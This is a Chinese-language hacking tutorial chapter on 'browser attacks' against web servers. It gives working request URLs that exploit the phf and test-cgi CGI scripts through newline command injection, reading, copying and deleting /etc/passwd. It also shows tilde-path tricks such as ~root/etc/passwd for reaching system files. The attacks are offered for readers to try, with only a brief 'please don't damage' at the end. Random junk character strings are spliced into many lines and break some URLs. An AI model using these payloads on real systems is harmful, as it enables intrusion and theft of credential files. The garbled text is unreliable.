瀏覽器攻擊

在本章我將講述一些利用瀏覽器來進行攻擊的方法
1。大家都知道了phf攻擊了，phf是cgi script,很多站點都有這個大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個站點的passwd.但還有些更好的執(zhí)行方法呦如：
. y. y. l$ [- N3 Q9 q; {. ghttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
/ Q( x3 t9 Z: k/ R* g
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
' ~% Y' r8 T9 dhaqr&Qemail=&Qnickname=&Qoffice_phone=
0 l( J- k5 _: d& h! B% xhttp://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
4 {+ d/ \% [" @8 z6 A8 Ehttp://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname

8 ~; s, U4 B6 W1 ^( w=haqr&Qemail=&Qnickname=&Qoffice_phone=
2 ?& V2 M: R% p3 W- {+ _0 s6 [上面執(zhí)行的命令是
id
ls -la ~someuser
6 C9 ^- F5 L; B: ^) R3 ucp /etc/passwd ~someuser/passwd
' v$ L8 {4 h* urm ~someuser/passwd

2。有關(guān)test攻擊
http://thegnome.com/cgi-bin/test-cgi?\whatever
服務(wù)器會應(yīng)答，本服務(wù)器的一些情況如：
' H! E% q! L  gCGI/1.0 test script report:
) I: }/ Q- h# V1 F& J9 M- C( `$ T) W  N0 n
6 g4 q* `. ^, F! bargc is 0. argv is .

% g* `0 ^" |* O, l/ d7 h- `SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
" e0 c4 e6 Z. C6 n$ {! V9 h8 UGATEWAY_INTERFACE = CGI/1.1
& w) c( p! [6 q' c  P# rSERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
; U/ ~6 J* O- i; {' @. j* xREQUEST_METHOD = GET
6 i' v% b* ]2 C4 n& {9 k  H: v1 XHTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
6 I! a( D* D: f  NSCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
( J. R, `7 C6 @  c$ n9 xREMOTE_HOST = fifth.column.gov
! w5 M9 f/ s; d9 B, X$ F+ ?REMOTE_ADDR = 200.200.200.200
% k4 R2 [0 X2 }* B2 C/ E# K! QREMOTE_USER =
! e* c# t6 Z$ U  }( |+ tAUTH_TYPE =
* ?6 M" v8 a' s) r4 OCONTENT_TYPE =
* z: i* Y! J' A2 L7 R7 bCONTENT_LENGTH =

好吧，讓我們來點趕興趣的
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
9 L$ Z* D7 w3 K' R
% l' L, e- `2 T+ Q3。~的應(yīng)用
~主要是用在很多的個人主頁上的快捷目錄的方法，如果我們使用這樣的~
. H. _# h0 p' T4 v+ \. D5 i7 Qhttp://thegnome.com/~root
http://thegnome.com/~root/etc/passwd
! o( @3 X' r6 H$ D不是在任何平臺上都通過呦，在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....
看到這個站點了嗎，本站所在的這個站點就是用這種形式的，如果我們打入 本站所在的web地址/~bin
出現(xiàn)了什么，你看到了嗎？然后...............注意請不要破壞

# t0 o! O+ T5 X